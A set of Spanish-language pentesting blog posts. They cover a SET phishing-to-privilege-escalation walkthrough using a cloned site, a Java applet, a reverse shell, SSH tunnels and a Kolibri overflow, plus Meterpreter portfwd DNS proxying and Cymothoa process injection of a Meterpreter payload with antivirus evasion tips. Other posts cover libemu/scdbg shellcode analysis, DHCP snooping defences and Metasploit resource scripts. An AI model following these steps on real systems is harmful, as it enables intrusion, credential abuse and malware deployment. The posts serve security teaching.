Shell is coming ...

El pasado jueves 31 de Marzo, el Framework de ingeniería Social SET (Social Engineer Toolkit) lanzó su versión 1.3 “Artillery Edition” proporcionando características de gran interés. Entre las más destacables se encuentra el vector de ataque Wireless Attack Vector que hace uso de airbase-ng para crear un Fake AP y redirigir tráfico, o el payload RATTE (Remote Administration Tool Tommy Edition) desarrollado por Thomas Werth y que permite tunelizar instrucciones mediante HTTP aprovechándose de las configuraciones locales del navegador y saltándose de esta forma Firewalls y Proxys.

Además, una de las funcionalidades más interesantes ha sido la incorporación de una nueva shell interactiva (Custom Written Interactive Shell) desarrollada en python por David Kennedy (ReL1K) y que trabaja como una reverse shell usando AES 256. El payload ha sido añadido a SET e incorpora numerosas características como: command shell, uploading/downloading files, listing/killing processes, ssh tunneling, etc.

En este post hablaremos de esta última característica, Reverse Port SSH Tunneling, mediante un ejemplo práctico que refleja un escenario típico en el que necesitamos escalar privilegios y para ello necesitamos explotar un servicio al cual no tenemos acceso directo desde el exterior.

Empezaremos configurando SET, empleando un clone-site attack mediante un Applet firmado de Java y utilizando como payload la nueva shell interactiva. Posteriormente enviaremos dicha URL a la víctima y una vez que acepte el Applet y consigamos una shell, escalaremos privilegios lanzando un exploit a un servicio Web vulnerable mediante un túnel SSH. Por último, accederemos por Terminal Server mediante otro túnel con las credenciales del usuario previamente creado.

Comenzaremos configurando SET de la siguiente manera:

Website Attack Vectors: opción 2

The Java Applet Attack Method: opción 1

Site cloner: opción 2

Especificamos el sitio a clonar: https://gmail.com, http://twitter.com/, o el que más nos guste.

Por último, seleccionamos Set Custom Written Interactive Shell (opción 11) y especificamos el puerto local de escucha para la nueva shell (443 en nuestro caso).

SET creará un socket esperando nuevas conexiones para proporcionar el sitio web previamente creado. Si nos fijamos en la imagen también nos avisará que la librería Crypto.Cipher está instalada (paquete pyCrypto) y que será necesaria para establecer la shell interactiva de forma cifrada.

Una vez el usuario acepte el Applet, SET nos indicará la sesión de la víctima y podremos interactuar con ella a través de la shell interactiva. Podemos utilizar ? para ver la lista de comandos soportados. Lo primero que haremos será comprobar el tipo de usuario que ha aceptado el certificado.

Como podemos ver el usuario no pertenece al grupo administradores así que necesitamos buscar otro método para obtener privilegios en la máquina. Es importante decir que en la versión actual de SET si intentamos añadir un usuario mediante la instrucción localadmin (instrucción con la que intentará añadir un user al grupo administradores), éste nos informará de que el usuario se añadió correctamente, aunque en realidad no lo haya hecho, como es nuestro caso, debido a la falta de privilegios (es por este motivo por el que se nos indica que lo comprobemos).

Si seguimos indagando desde nuestra shell y observamos la lista de procesos en ejecución vemos que existen varios puertos interesantes, entre ellos un 8080 (correspondiente al servidor web Kolibri.exe) y el 3389 de Terminal Server.

Sin embargo, si intentamos acceder a los mismos desde la maquina atacante (fuera de nuestra shell) veremos que no podemos alcanzarlos. Seguramente dichos servicios tengan un uso únicamente local o dentro de la LAN en la que se encuentra el usuario y es por esto por lo que algún firewall impide conexiones externas a los mismos.

Aquí es donde podemos sacar partido del reverse shell tunneling, ya que podemos crear un túnel SSH para conectar a dichos servicios desde nuestra máquina.

Lo que hemos hecho es realizar una conexión SSH a nuestro equipo (habilitando previamente SSH) para crear varios túneles a través de los cuales conectar del puerto local 8080 al equipo víctima 8080 y del puerto local 3389 al equipo víctima 3389. En el enlace proporcionado se muestran varios ejemplos detallados para entender el Reverse SSH Port Forwarding. Si ahora intentamos conectar desde nuestro equipo contra localhost:8080 vemos que ya tenemos acceso a dicho servicio y además obtendremos la versión exacta del mismo (kolibri-2.0).

Dicha versión parece ser vulnerable a un desbordamiento de buffer permitiendo sobrescribir el manejador de excepciones SEH al utilizar una cadena de cierta longitud en el método HEAD.

El exploit presenta diversas opciones a la hora de ejecutarlo en función de la versión y SP del sistema operativo, por lo que el siguiente paso será conocer dichos valores en nuestra máquina para ver si necesitamos ajustar ciertas direcciones de memoria (jmp esp y pop ret en nuestro caso). Tenemos varias opciones aquí: podemos hacer uso del cliente WMI (WMIC) o bien preguntar directamente al registro.

Como vemos tenemos una máquina XP SP3 en español, así que lo único que necesitamos es ver si el jmp esp en kernel32.dll coincide con la dirección de memoria que actualmente aparece en el exploit, al igual que el pop pop ret en kolibrí.exe, y en caso de no ser así buscar otras direcciones válidas que cumplan con los requisitos (respetando bad characters) dentro de las dll cargadas por la aplicación.

En nuestro caso únicamente modificaremos el valor jmp en kernel32.dll por 0x7C86467B.

En el siguiente paso crearemos un payload windows/exec con el que añadiremos al usuario bmerino dentro del grupo de administradores y con el que posteriormente conectaremos por Terminal Server.

Por último lanzaremos el exploit apuntando a localhost:8080

y comprobamos si realmente se ha añadido bmerino al grupo administradores.

Finalmente conectaremos vía Terminal Server mediante el túnel previamente creado e ingresaremos con las nuevas credenciales.

Existen multitud de alternativas para llevar a cabo un ataque similar donde necesitamos escalar privilegios. Por ejemplo, podría haberse utilizando como payload meterpreter y emplear “getsystem” para intentar conseguir System o bien utilizar el “portfwd” del mismo para tunelizar conexiones como hemos hecho en este caso y intentar explotar un servicio local. Sin embargo, existen escenarios en donde no podemos utilizar meterpreter o una shell de este tipo (bien por tamaño del buffer, bad characters u otro tipo de restricciones), en cuyo caso podemos hacer uso de herramientas externas, como plink.exe, para llevar a cabo el túnel.

Utilizando el ejemplo anterior, supongamos que conseguimos una reverse shell y necesitamos hacer port forwarding. En este caso no contamos con la opción de ssh_tunnel, así que tenemos que optar por otra vía. Para ello utilizaremos el cliente tftp de Windows con el que descargaremos la herramienta plink.exe y generaremos el túnel ssh. Previamente tendremos que habilitar el servidor tftp en nuestro equipo y copiar plink.exe al directorio configurado por el daemon tftp.

Ahora desde nuestra shell podemos descargar plink.exe, realizar el túnel y continuar con el ataque de la misma forma que en el caso anterior.

Paramás información sobre port forwarding con plink.exe, se puede consultar el blog de Hamid Kashfi.

Como hemos podido ver, SET con su nueva shell interactiva nos ahorra todos estos pasos integrando una serie de funcionalidades que hacen mucho más sencillo el proceso de explotación gracias a ssh_tunnel. Puede verse un video con las características incorporadas en Set v1.3 en este enlace: http://www.vimeo.com/21735875.

A diferencia de la versión Pro de Metasploit, una de las limitaciones a la hora de “pivotar” conexiones desde Meterpreter por medio de route es el tipo de herramientas que podemos usar a través del pívot. Esto es debido a que cualquier herramienta que use raw sockets no funcionará a través del túnel, estando limitados a conexiones TCP y UDP que realicen una “conexión completa” (connected sockets).

En el caso de Nmap, por ejemplo, implica que únicamente podemos realizar escaneos de tipo TCP connect (-sT) por medio de socks4 y proxychains, pero será inútil utilizar switches como -sS (syn scan), -O (OS detection) o similares. Aunque otra opción es utilizar port forwarding (portfwd) mediante el cual mapear puertos locales con los de la víctima, estamos limitados a conexiones TCP, por lo que esto también reduce opciones a la hora de elegir herramientas que empleen UDP.

En nuestro caso lo que haremos será preparar un entorno que nos ayude a redirigir peticiones DNS desde herramientas que hagan uso de UDP (nmap, dnsenum, etc) a través de Meterpreter. Para ello configuraremos un Proxy DNS que intercepte peticiones DNS UDP y las redirija, en su “versión TCP”, al puerto configurado con portfwd. Ya que la mayoría de servidores DNS soportan TCP, no solamente para realizar transferencias de zona, sino para aceptar también queries en el puerto 53 (así lo especifica el protocolo DNS), podremos realizar consultas DNS con prácticamente cualquier herramienta. Lógicamente clientes DNS que empleen o soporten TCP (ej: dig +tcp) no requerirán de dicho Proxy y podrán lanzarse directamente a través de Meterpreter Lo mismo ocurre con clientes DNS que usen UDP y que utilizen la API adecuada, en cuyo caso podrá redirigir paquetes a través de Meterpreter utilizando route.

Partamos del siguiente escenario. Conseguimos una sesión de Meterpreter en el equipo víctima con IP 192.168.100.1/24, y queremos hacer un reverse dns lookup de dicha red preguntando directamente al servidor DNS interno (192.168.100.10) con el objetivo de obtener nombres de máquinas sugerentes a los que posteriormente podamos escalar el ataque. De forma gráfica podemos verlo de la siguiente forma:

Empezaremos configurando nuestro proxy DNS. En nuestro caso usaremos el proxy caché pdnsd por su facilidad de configuración e instalación. Únicamente necesitaremos modificar el fichero /etc/init.d/pdnsd con las siguientes directivas:

Tras guardar el fichero actualizamos los cambios en pdnsd mediante:

root@bt:~# pdnsd-ctl config /etc/pdnsd.conf

Opening socket /var/cache/pdnsd/pdnsd.status

Succeeded

Lo que hemos hecho es configurar un daemon DNS (pdnsd) en 127.0.0.1:53 que escuchará y reenviará peticiones DNS al socket 127.0.0.1:7777, que será donde configuraremos el forwarding con Meterpreter. La directiva query_method=tcp_only obligará a utilizar queries TCP; otras opciones son tcp_udp donde intentaría primero con tcp y en caso de vencer el timeout con udp, udp_tcp y udp_only. El siguiente paso es configurar el port forwarding desde Meterpreter:

meterpreter > portfwd add -l 7777 -L 127.0.0.1 -r 192.168.100.10 -p 53

[*] Local TCP relay created: 127.0.0.1:7777 < -> 192.168.100.10:53

meterpreter > portfwd list

0: 127.0.0.1:7777 -> 192.168.100.10:53

Nos aseguramos que nuestros daemons están escuchando correctamente:

root@bt:~#netstat -putna | grep ":53\|:7777"

tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 13717/pdnsd

tcp 0 0 127.0.0.1:7777 0.0.0.0:* LISTEN 1533/.ruby.bin

udp 0 0 127.0.0.1:53 0.0.0.0:* 13717/pdnsd

Y por último ya podemos lanzar consultas DNS con nmap (list scan) apuntando a localhost:

root@bt:~# nmap -sL 192.168.100.1-254 --dns-servers 127.0.0.1 | grep -i domainowned

Nmap scan report for rat.internal.pro.domainowned.es (192.168.100.1)

Nmap scan report for ftp.pro.domainowned.es (192.168.100.2)

Nmap scan report for felix.internal.pro.domainowned.es (192.168.100.8)

Nmap scan report for dns.internal.pro.domainowned.es (192.168.100.10)

Nmap scan report for calipso.lab.pre.domainowned.es (192.168.100.12)

Nmap scan report for ficheros.internal.pro.domainowned.es (192.168.100.13) Nmap scan report for repo.lab.pre.domainowned.es (192.168.100.15)

En el caso de no usar –dns-servers tendríamos que apuntar a localhost desde /etc/resolv.conf. También podemos usar otras tools dentro de /pentest/enumeration/dns o directamente realizar consultas a mano con un poco de bash:

root@bt:~# for ip in 192.168.100.{1..254}; do ( host $ip 127.0.0.1) done | grep domainowned | cut -d" " -f1,5

1.100.168.192.in-addr.arpa rat.internal.pro.domainowned.es.

2.100.168.192.in-addr.arpa ftp.pro.domainowned.es.

8.100.168.192.in-addr.arpa felix.internal.pro.domainowned.es.

10.100.168.192.in-addr.arpa dns.internal.pro.domainowned.es.

12.100.168.192.in-addr.arpa calipso.lab.pre.domainowned.es.

13.100.168.192.in-addr.arpa ficheros.internal.pro.domainowned.es.

Aunque Metasploit ya contiene módulos y scripts que nos permiten hacer queries DNS (ej:netenumde Carlos Perez) puede que en ciertos entornos, donde necesitamos afinar o ajustar en mayor medida consultas DNS, resulte práctico y rápido implementar dicho proxy con el cual utilizar nuestras propias herramientas.

A continuación se muestra un vídeo de las diferentes alternativas previamente comentadas para tunelizar peticiones DNS:

Estos días he estado jugando un poco con Cymothoa. Para quien no lo conozca, esta herramienta te permite inyectar payloads dentro del espacio de direcciones de un proceso, o dicho de otro modo, troyanizar un proceso en Linux. Cymothoa está desarrollada en C y se encuentra disponible en Backtrack 5 dentro de /pentest/backdoors/cymothoa.

Al no encontrar mucha información sobre su funcionamiento estuve indagando un poco sobre el código para ver exactamente como trabaja. La idea de esta herramienta es sobrescribir directamente el base address de alguna de las librerías utilizadas por el proceso, siendo por defecto el “dynamic linker/loader” (/libr/ld*.so). Los payloads utilizados por Cymothoa están embebidos en el propio binario y pueden verse con el parámetro -S aunque, como veremos a continuación, podremos incorporar los nuestros sin mucho esfuerzo.

Cuando ejecutamos Cymothoa tendremos que especificar como parámetro el pid del proceso (-p), el shellcode deseado (-s) así como sus parámetros (IP, port, etc) siempre y cuando sean necesarios. Cymothoa utiliza la syscall ptrace para “atachear”(adjuntar) el proceso, guardar el contexto del mismo y redirigir EIP al shellcode seleccionado. Veamos el proceso paso a paso.

Empezaremos añadiendo un reverse_tcp meterpreter shellcode a Cymothoa y compilaremos el binario de nuevo. Para ello ejecutamos:

El fichero de cabecera payloads.h contiene la lista de payloads disponibles, los cuales se encuentran dentro de un array de estructuras de typo payload:

struct payload {

char *description;

size_t len;

char *shellcode;

int options;

};

Para incluir meterpreter añadiremos un nuevo elemento al array con la información del shellcode. El payload lo definimos como una macro (en el ejemplo CODE_12):

Si queremos aceptar como parámetros la IP y el puerto necesitamos sobreescribir dichos valores con AAAA y BB como muestra la imagen. Dichas constantes están definidas al comienzo de payloads.h como const char:

const char ip_mark = 'A',

port_mark = 'B',

Éstas serán sustituidas en tiempo de ejecución por los argumentos proporcionados por el usuario (funciones set_ip y set_port en personalization.h)

Si compilamos y mostramos de nuevo la lista de payloads veremos Meterpreter como opción 12:

Antes de lanzar Cymothoa veamos la dirección base del dynamic linker del proceso que queremos infectar (gedit en el ejemplo):

Ejecutemos ahora Cymothoa con los siguientes parámetros:

Según podemos ver, el código se ha insertado a partir de la dirección base del ld (0xb782b000). Además nos informa del contexto del proceso una vez hecho el attach –> ptrace(PTRACE_GETREGS,pid,&reg,&reg);

Guardar el contexto del mismo será necesario para poder restaurar el estado del proceso padre justo antes de ejecutar el shellcode (más adelante veremos cómo). Además, necesitamos modificar dichos valores para saltar a nuestro payload. Esto lo hace guardando el valor EIP en el stack y posteriormente sustituyéndolo por la dirección 0xb782b000 + 2. Veamos el fragmento de código que hace lo comentado (cymothoa.c):

La función ptrace_injectúnicamente sobrescribe /lib/ld con nuestro código. Comprobemos el resultado desde gdb:

Si nos fijamos Cymothoa ha añadido una serie de opcodes justo antes de nuestro payload. Esto lo hace desde la funcion payload_init(void) (cymotha.c):

La finalidad de dichos opcodes es hacer un fork() y permitir que el parent process vuelva a su ejecución. Como vimos antes, la dirección de EIP se almacenaba en el stack así que con el último return (0xc3) restauraría el mismo. Por otro lado, el proceso hijo hará un jump a nuestro shellcode. El resultado:

El único problema que encuentro en Cymothoa es el hecho de disponer de payloads estáticos en el propio binario, lo cual puede ‘cantar’ frente a NIDS/ID/AV a la hora de descargar la herramienta. Para evitar ésto podemos construir un Cymothoa a medida con nuestros propios payloads o bien, modificar un poco el código y bajarlos en runtime sin necesidad de tocar disco :)

Una de las herramientas más utilizadas para analizar e identificar posibles shellcodes es libemu. La idea de esta librería, escrita en C e implementada en frameworks como Dionaea, es emular instrucciones x86 e identificar/hookear llamadas a la API de Windows, con la que poder obtener información suficiente del código sin necesidad de llevar un análisis exhaustivo con debbugers como Inmunity u Olly.

Libemu utiliza técnicas heurísticas GetPC (Get Program Counter) para localizar shellcodes que utilizan encoders como shikata ga nai, fnstenv_mov, etc. Raro es encontrarse payloads que no utilicen algún tipo de cifrado o encoder para intentar evadir IDS/AV, por lo que esta característica lo hace realmente útil para buscar posibles shellcodes en ficheros .pcap, exploits, pdf, etc. Entender cómo funcionan estos métodos GetPC será fundamental para entender exactamente cómo trabaja libemu y saber así también cuáles son sus limitaciones y porque es incapaz de detectar determinados shellcodes.

Los métodos GetPC (que vagamente se explicaron en el post “Buscando buffer overflow desde Wireshark”) son simplemente instrucciones que ayudan a nuestro código a localizarse a si mismo dentro del espacio de direcciones del proceso. Esto es importante si lo que queremos es que nuestro código sea portable y que no dependa de direcciones "hardcodeadas" (por ejemplo, cuando escribimos exploits y desconocemos en qué dirección de memoria se va a alojar nuestro payload).

Una de las técnicas empleadas para conseguir la dirección base de nuestro código, con la que más adelante podremos decodificar el resto del payload mediante offsets relativos a dicha dirección, es utilizar llamadas CALL $+n. Podemos ver un ejemplo de este método utilizando el encoder call4_dword_xor de Metasploit:

msfpayload windows/shell_bind_tcp R | msfencode -e x86/call4_dword_xor -c 2

Este tipo de encoder simplemente lleva a cabo un XOR del payload con cierta clave para ofuscar el código. Previo a esta operación, necesitará localizar su dirección de memoria para poder decodificar el resto del código. Tras almacenar 5c en ECX (el cual se utilizará como contador para ir descifrando el encoded shellcode) se hace un call+4, esto es un jump a la dirección de memoria 0040B97C (0040B978 +4 bytes) almacenando la siguiente dirección de memoria (0040B97D) en la pila.

Tras hacer el call, EIP se encuentra con los opcodes FFC0 (inc eax) y pop ESI, incrementando en 1 EAX y almacenando 0040B97D en ESI respectivamente. Es por tanto este registro, ESI, el que será utilizado, junto a cierto offset para referenciar y descifrar el resto del encoded shellcode. Si nos fijamos en la siguiente imagen se hace un XOR de la dirección 0040B98B (ESI + E,) con la clave 670F5396. Posteriormente, ESI es incrementado por 4 (sub esi, -4) y se hace un LOOPD, el cual repetirá el proceso hasta que ECX sea 0 (loopd comprueba si ecx es 0 y si no es así, le resta 1 y salta a la dirección 0040B97F). Lo que se consigue con esto es ir descifrando el resto de código hasta llegar a 0040BAED (la dirección más baja del shellcode), donde ECX valdrá 0 y EIP continuará ejecutando el resto del payload una vez decodificado.

Para ver esto de forma más clara, si ponemos un breakpoint en 0040B98 (es decir, justo al comienzo de nuestro shellcode encoded) y ejecutamos F9, veríamos lo siguiente.

Como vemos ECX a llegado a 0 y EIP a alcanzado nuestro breakpoint donde se encuentra nuestro payload descifrado.

Gracias al CALL+4, el encoder ha sido capaz de recuperar su dirección virtual para posteriormente hacer referencia al resto del código. Utilizar instrucciones del coprocesador como FSTENV, o aprovecharse del manejador de excepciones SEH (el cual almacena en la pila la dirección de memoria de la instrucción que provocó la excepción) son otras alternativas utilizadas por encoders para poder obtener su propia localización en memoria.

Explicado esto, ahora entenderemos mejor a lo que se refiere libemu con “Shellcode detection using GetPC heuristics“, es decir, buscar determinados patrones como los vistos anteriormente (SEH no es soportado por libemu) para determinar si determinado código es un shellcode potencial. Si echamos un vistazo al fichero libemu/src/emu_getpc.c veremos definidos ambos métodos para encontrar instrucciones GetPC:

switch (data[offset])

{

/* call */

case 0xe8:

.....

/* fnstenv */

case 0xd9:

Entender esto es importante ya que nos ayudará a comprender porque en determinados casos libemu ofrece falsos positivos o simplemente ignorará shellcodes que no se basen en los métodos anteriores. Como bien indica Georg Wicherski en su blog muchos shellcodes basados en FSTENV no serán reconocidos al identificar únicamente la secuencia fnstenv [esp-0xc], por lo que utilizando un valor diferente a 0xc fallará en su detección.

Nota: Puede verse la eficiencia de libemu frente a los diversos payloads generados por Metasploit en el post “Metasploit Payloads VS Libemu” de Alienvault. Asimismo, Georg Wicherski creó libscizzle como herramienta alternativa a libemu y que contiene métodos heurísticos más eficientes y rápidos para detectar shellcodes.

Tras un vistazo general a libemu, veamos su funcionamiento. La siguiente captura representa la salida generada por una de sus herramientas, sctest, la cual acepta como parámetro el binario que queremos analizar (S) y el número de pasos a ejecutar/emular (s). Utilizaremos para ello un payload elegido al azar de pastebin.

Nota: libemu cuenta con un wrapper para python llamado pylibemu para facilitar su uso y añadir ciertas funcionalidades; aunque personalmente he tenido ciertos problemas al recuperar determinadas APIs.

Como vemos, la salida nos ofrece en detalle cada una de las APIs utilizadas por el shellcode, ofreciéndonos información más que suficiente para hacernos una idea del objetivo del mismo: descargar un binario (exploit.exe) de cierto sitio web mediante la llamada URLDownloadToFile y la ejecución del mismo con WinExec. Además, nos indica que dicha shellcode se encuentra a partir del offset 0×00000015.

A pesar de darnos información más que suficiente del código, sctest tiene ciertas limitaciones: no tiene capacidades de debugging, no permite hacer un volcado del shellcode una vez decodificado, tiene un número limitado de APIs, etc. Ante esta necesidad, se creo scdbg, versión mejorada de sctest quecontiene entre otros, las características comentadas anteriormente. Veamos la salida generada por scdbg con el mismo payload:

Otra de las ventajas de scdbg es la hacer un volcado de memoria una vez decodificado el shellcode (parámetro /d) lo que nos ahorra bastante tiempo para analizar el código usando cualquier otra herramienta.

Como vemos scdbg genera el fichero /tmp/shell.bin.unpack que posteriormente visualizamos con la opción /dump y donde ya podemos ver en claro ciertos strings correspondientes a las APIs llamadas por el shellcode. El dump también nos resaltará en amarillo los opcodes E8 (call) y E9 (jmp) así como el nop sled del comienzo para facilitar su lectura.

A parte de estas funcionalidades, una de las mayores ventajas de scdbg es su capacidad de debugging (ejecutar paso a paso instrucciones, fijar breakpoints, visualización de la pila, etc.). Supongamos que queremos ejecutar paso a paso el código a partir de la dirección 4010FD, donde URLDownloadToFile es invocada, y visualizar el estado del stack. Para ello usaremos la opción laa (log after address), verbose 3 y el modo interactivo (-i).

Poder interactuar con el código de forma interactiva será realmente útil cuando necesitemos hookear llamadas a funciones que reciban parámetros por medio de sockets y con las que podremos enviar nuestros propios datos con herramientas externas para ver su comportamiento.

Por último, scdbg cuenta con un modo “report” (-r) ofreciéndonos, a modo de resumen, multitud de información acerca del código analizado. Veamos su salida con el mismo shellcode:

Aparte de informarnos de la API empleada por el código (fíjese que también nos ofrece el return address de las mismas, información que sctest no nos ofrecía), nos indica que el shellcode se decodifica en memoria, las direcciones en la que se utilizan operaciones de escritura en memoria (por ejemplo operaciones XOR utilizadas por el encoder), etc. Además, nos informa del uso de la lista InInitializationOrder por medio del PEB (Process Enviroment Block) para obtener la dirección base de kerne32.dll y con el que cargar posteriormente el resto de librerías mediante GetProcAddress y LoadLibraryA (comportamiento habitual en shellcodes).

Scdbg nos facilita enormemente las cosas a la hora de analizar malware, por lo que no debería faltar en nuestro arsenal de herramientas forenses) :)

A raíz del post de @chemaalonso sobre la herramienta DHCP Ack Inyector, recordé mis años en la universidad (allá por el 2005) donde ibas a la biblioteca, conectabas tu portátil y simplemente escuchando tráfico veías multitud de protocolos vulnerables o incorrectamente configurados como STP, HSRP, DTP, etc.

No solo eso, sino que no había ningún tipo de control sobre el tipo de datos que los usuarios podían enviar, por lo que, utilizando herramientas como Gobbler, Dsniff, Ettercap, Yersinia, etc., podías llevar todo tipo de ataques man-in-the-middle. Lo curioso de todo era que la mayoría de los dispositivos de networking utilizados para gestionar todo el tráfico eran Cisco. Es decir, dispositivos más que suficientes para poder controlar y mitigar prácticamente la mayoría de esos ataques. Simplemente estaban configurados para cumplir con funciones básicas de red: enrutar tráfico, administrar VLANS, ACL, QoS, etc., pero o bien por desconocimiento o por descuido, no se les estaba sacado el provecho que realmente justificaría su adquisición.

Con el paso del tiempo me he dado cuenta de que este tipo de situación es bastante frecuente: es realmente difícil encontrar una empresa que tenga en cuenta políticas de configuración estrictas para asegurar un entorno local. Personalmente pienso que muchas organizaciones no son conscientes del daño que podría hacer un empleado descontento en un entorno local “poco controlado”. Sin llegar a utilizar herramientas sofisticadas como Loki o Yersinia, es posible desde tirar toda una red con apenas un par de paquetes y con ayuda de Scapy, hasta hacer MitM usando ARP / DHCP / VRRP / HSRP o hasta cosas mas entretenidas como conseguir un pool de shells sin mucho esfuerzo con el browser_autopwn de Metasploit y etterfilters.

En este caso, y a raíz del post de Chema, me gustaría hablar sobre ciertas medidas de seguridad, bien conocidas desde hace tiempo, que ayudarían a protegerse frente a herramientas como DHCP Ack Inyector y que hacen un mal uso del protocolo DHCP (IP Spoofing Attacks, Discover DoS attacks, etc.). Como se indica en su blog, DHCP Ack Inyector tiene un comportamiento algo diferente a herramientas como Ghost Phisher o cualquier otro fake DHCP server que pudiera instalarse (dhcp3, auxiliary/server/dhcp en Metasploit, etc.), para enviar información falsificada al cliente. En lugar de usar paquetes DHCPOffer, utiliza respuestas DHCPAck al contar con la ventaja adicional de conocer los datos ofrecidos previamente por el servidor y que se obtuvieron gracias al broadcast DHCPRequest emitido por la víctima, una técnica bastante astuta.

Sin embargo no es suficiente para eludir VACL (Vlan Access List) que controlen el trafico UDP dirigido a los puertos 68 y 67 o contramedidas más serias como DHCP Snooping implementadas en dispositivos Cisco. En el primer caso, cualquier switch que soporte VACL podría configurarse para bloquear tráfico UDP proveniente del puerto 67 para aquellos puertos destinados al usuario final. El problema de esta contramedida es que podría evadirse fácilmente si se falsifica la MAC e IP de los paquetes (y que en el caso de DHCP Ack Inyector es posible), por lo que para una protección más fiable tendríamos que recurrir a otros mecanismos de seguridad como DHCP Snooping.

La idea de esta funcionalidad es diferenciar entre dos tipos de puertos en un entorno conmutado: por una lado puertos confiables (trusted port) y, por otro, puertos no confiables (untrusted host). Los primeros no tendrán restricciones de cara al tipo de mensajes DHCP que puedan recibir, puesto que serán aquellos conectados a un entorno controlado (en este caso a los servidor/servidores DHCP). Sin embargo, los segundos únicamente podrán enviar aquellos paquetes que en condiciones normales un cliente necesita enviar para conseguir su configuración DHCP (DHCPDiscover, DHCPRequest, DHCPRelease). Los untrusted port, por tanto, serán configurados en aquellos puertos conectados a los usuarios finales y en el caso de que dicho puerto reciba un paquete spoofeado DHCPoffer, un DHCPack, o DHCPNack (este es el caso de DHCP Ack Inyector), serán bloqueados.

Para llevar a cabo este proceso, el switch mantiene una tabla (binding table) que irá construyendo a medida que reciba la información del servidor DHCP legítimo durante la negociación de los clientes (aunque también es posible añadir entradas automáticamente, véase el comando ip dhcp snooping). En esta tabla se almacenará la siguiente información asociada a los untrusted ports: MAC address, IP address, lease time, binding type,VLAN, e interfaz. Esta información podrá ser utilizada además por otras funcionalidades de seguridad como DAI (Dinamic Arp Inspector) para mitigar arp-spoof o IP Source Guard que veremos más adelante. Veamos un ejemplo de configuración:

Con DHCP Snooping no solo podremos mitigar ataques de este tipo (rogue server), si no también defendernos frente a DHCP exhaustion attacks, donde un atacante es capaz de acabar con el pool de direcciones libres del servidor DHCP en cuestión de segundos, mediante el envio de paquetes DHCP Discover solicitando nuevas direcciones IP.

Aunque podría pensarse que contramedidas como Port Security serían más que suficientes para evitar este tipo de ataques, en realidad no lo es con determinadas herramientas como Yersinia o dhcpstarv. El motivo es que port security únicamente considera la MAC origen de la trama para crear filtros y establecer así que direcciones MAC están permitidas en un puerto determinado (útil para combatir MAC flooding attacks). El problema aquí es que estas herramientas no modifican tal MAC (como hace por ejemplo macof), sino que aleatorizan el campo Client Hardware Address (CHADDR) dentro del propio payload DHCP. Este campo, junto al client identifier, es de gran importancia ya que será utilizado (véase RFC 2131) por el server para diferenciar entre las diversas peticiones de los diversos clientes, y que sin los cuales sería complicado distinguir entre los diversos usuarios en el caso de utilizar un DHCP Relay Agent.

DHCP Snooping tiene la inteligencia necesaria para leer el payload del propio protocolo DHCP y verificar que la dirección MAC origen y el CHADDR coinciden (comando opcional: ip dhcp snooping verify mac-address). Además, puede establecer un “maximum threshold“, o número de paquetes por segundo que el switch puede recibir en un puerto determinado de forma que, si el número de paquetes DHCP alcanza dicho umbral, el puerto entraría en modo shutdown (bloqueo) y se generaría la alerta pertinente sobre dicho DoS.

Si se sospecha que se está haciendo un mal uso de DHCP podemos capturar tráfico dentro del mismo dominio broadcast en el que se encuentran los clientes mediante VACL, port-mirroring, etc. y filtrar por paquetes DHCPOffer y DHCPAck. Veamos la salida generada desde Wireshark:

Como vemos existen dos respuestas DHCPAck prácticamente enviadas en el mismo momento, comportamiento algo extraño. En el caso de DHCP Ack Inyector, por algún motivo no mantiene algunos campos como el “Server Host Name” así que podría servir como filtro (bootp.server == "" && bootp.option.type == 03) para buscar respuestas DHCPAck sospechosas.

Por último, indicar que la binding table generada por el DHCP Snooping puede utilizarse también para detectar IP Spoofing gracias a IP Source Guard. Esta funcionalidad impide que los equipos conectados a puertos no confiables envíen paquetes hasta que no negocien dinámicamente su IP mediante el proceso de DHCP Snoopingo bien se añada una entrada estática a la binding table (véase comando ip verify source vlan dhcp-snooping port-security). Posteriormente, una vez asignada una IP, una ACL será aplicada a dicho puerto y cualquier paquete con IP origen diferente a la almacenada en la binding table será eliminada.

Contar con dispositivos capa 2 que implementen medidas similares a DHCP Snooping, DAI, IP Source Guard, Port Security, 802.1x authentication, etc. pueden ahorrar verdaderos dolores de cabeza a los administradores de red. La inversión, por tanto, en un switch de estas características, siempre y cuando se saque partido de todas estas funcionalidades, puede estar más que justificado para un entorno en el que prime la seguridad (confidencialidad, integridad y disponibilidad) de la información.

Cuando empecé a utilizar Metasploit —hace ya unos cuantos años— era bastante caótico para mi auditar una red en busca de vulnerabilidades o información relevante. No seguía una metodología determinada para llevar a cabo las fases de discovering, reconnaissance, exploitation, etc., si no que me dejaba llevar un poco por la intuición. A la larga, esto significa pérdida de tiempo y muchas veces grandes dolores de cabeza por haber obviado algún paso, olvidado algún servicio, ignorado cierta información, etc., con la que podría haber encontrado alguna vulnerabilidad mucho antes.

Metasploit es una maravilla para hacer auditorías, pero también una locura (debido al elevado número de módulos) si no sigues unas pautas en cierto orden y dedicas gran tiempo a la fase de information gathering.

La idea de esta entrada es mostrar cómo es posible automatizar algunas de estas tareas ahorrándonos mucho tiempo y garantizando seguir siempre una misma metodología sin olvidar ningún paso.

Personalmente, cada vez que quiero auditar una nueva red dedico mucho esfuerzo a la fase de discovering, utilizando diversos escaneos con db_nmap (-sT, -P0, -sS, -P0, -sV, -sA, etc.) y utilizando multitud de módulos auxiliares. Un caso bastante típico es encontrarse máquinas con servicios SMB ejecutándose, así que generalmente utilizo los auxiliary modules en auxiliary/scanner/smb para intentar conseguir la versión del S.O (smb_version), usuarios locales (smb_lookupsid), recursos (smb_enumshares), vulnerabilidades (ms09_050_smb2_negotiate_func_index), etc. Lo mismo para el resto de servicios como smtp, snmp, http, etc.

Obviamente, la idea de todo esto es almacenar toda la información que vayamos consiguiendo en nuestro workspace y en sus tablas asociadas (hosts, services, creds y notes) para posteriormente pasar a la fase de explotación. La pregunta es: si siempre llevo a cabo este modus operandi, ¿por qué no automatizar todo este proceso? Esta es la idea de los resource scripts, disponibles desde la revisión 8876, los cuales son tratados como templates ERB al permitirnos ejecutar bloques de instrucciones en ruby desde los que podremos hacer uso de la API de Metasploit (REX). En mi caso, suelo utilizar muchos de los scripts ya disponibles en $install_dir/scripts/resource, la gran mayoría desarrollados por m-1-k-3(excelente trabajo, por cierto). Estos scripts nos permiten llevar a cabo, entre otras, gran parte de las tareas comentadas anteriormente.

Comenzaremos con el script basic_discovery.rc, el cual sirve para conseguir máquinas y servicios disponibles utilizando nmap y una gran variedad de módulos auxiliares (smb, imap, pop, http, ftp, vnc, etc.)

